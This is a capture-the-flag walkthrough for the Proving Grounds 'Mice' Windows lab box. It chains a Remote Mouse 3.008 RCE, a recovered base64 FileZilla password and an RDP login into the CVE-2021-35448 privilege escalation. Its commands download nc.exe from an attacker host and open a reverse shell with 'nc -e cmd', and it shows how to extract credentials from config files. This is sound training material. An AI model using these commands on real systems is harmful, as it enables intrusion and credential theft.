Mice Writeup - Proving Grounds

Easy Windows

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

The Husky Hacker

sysadmin

Mice gets an initial shell through an unauthenticated Remote Mouse 3.008 RCE, a base64-encoded FileZilla credential in a saved profile then gives RDP access, and the same Remote Mouse application's file-dialog trick (CVE-2021-35448) escalates to Administrator.

Reconnaissance

Nmap

Scan and fingerprint services.

┌──(kali㉿kali)-[~]

└─$ nmap -sCV $TARGET_IP

PORT     STATE SERVICE        VERSION
1978/tcp open  remotemouse    Emote Remote Mouse
1979/tcp open  unisql-java?
1980/tcp open  pearldoc-xact?
3389/tcp open  ms-wbt-server  Microsoft Terminal Services
7680/tcp open  pando-pub?

Remote Mouse on port 1978 is the unusual service. Grab its banner.

┌──(kali㉿kali)-[~]

└─$ nc $TARGET_IP 1978

SIN 15win nop nop 300

Confirms Remote Mouse 3.008, which has a public unauthenticated RCE.

Exploitation

Remote Mouse 3.008 RCE

Host nc.exe for transfer and start a listener, then use the public exploit to fetch and run it on the target.

┌──(kali㉿kali)-[~]

└─$ python3 -m http.server 80

┌──(kali㉿kali)-[~]

└─$ nc -lnvp $ATTACKER_PORT

┌──(kali㉿kali)-[~]

└─$ python3 RemoteMouse-3.008-Exploit.py -t $TARGET_IP -v --cmd 'powershell -c "curl http://$ATTACKER_IP/nc.exe -o C:/Windows/Temp/nc.exe"'

┌──(kali㉿kali)-[~]

└─$ python3 RemoteMouse-3.008-Exploit.py -t $TARGET_IP -v --cmd 'powershell -c "C:/Windows/Temp/nc.exe $ATTACKER_IP $ATTACKER_PORT -e cmd"'

connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
C:\Users\divine>whoami
remote-pc\divine

Shell as divine, a standard user with no useful privileges for a direct potato attack (no SeImpersonate, no usable kernel exploit for this build).

Post-Exploitation

Saved FileZilla credentials

Search config files for saved passwords.

PS C:\Users\Guest\Desktop> findstr /SIM /C:"pass" *.ini *.cfg *.xml

AppData\Roaming\FileZilla\recentservers.xml: matches on "Pass"

PS C:\Users\Guest\Desktop> more AppData\Roaming\FileZilla\recentservers.xml

<Server>
    <Host>ftp.pg</Host>
    <Port>21</Port>
    <User>divine</User>
    <Pass encoding="base64">$DIVINE_PASSWORD_B64</Pass>
</Server>

FileZilla stores the saved password base64-encoded, not encrypted. Decode it.

┌──(kali㉿kali)-[~]

└─$ echo '$DIVINE_PASSWORD_B64' | base64 -d

$DIVINE_PASSWORD

Credentials divine:$DIVINE_PASSWORD. Use them over RDP for a full desktop session, needed for the GUI-based privilege escalation.

Privilege Escalation

CVE-2021-35448: Remote Mouse GUI local privilege escalation

┌──(kali㉿kali)-[~]

└─$ xfreerdp3 /u:divine /p:$DIVINE_PASSWORD /v:$TARGET_IP

[INFO] Authentication succeeded

Inside the session, open Remote Mouse from the system tray, go to Settings, and click Change… under Image Transfer Folder. In the resulting Save As dialog, type C:\Windows\System32\cmd.exe into the address bar and press Enter: the dialog spawns a command prompt running as Administrator, because the Remote Mouse background service itself runs elevated.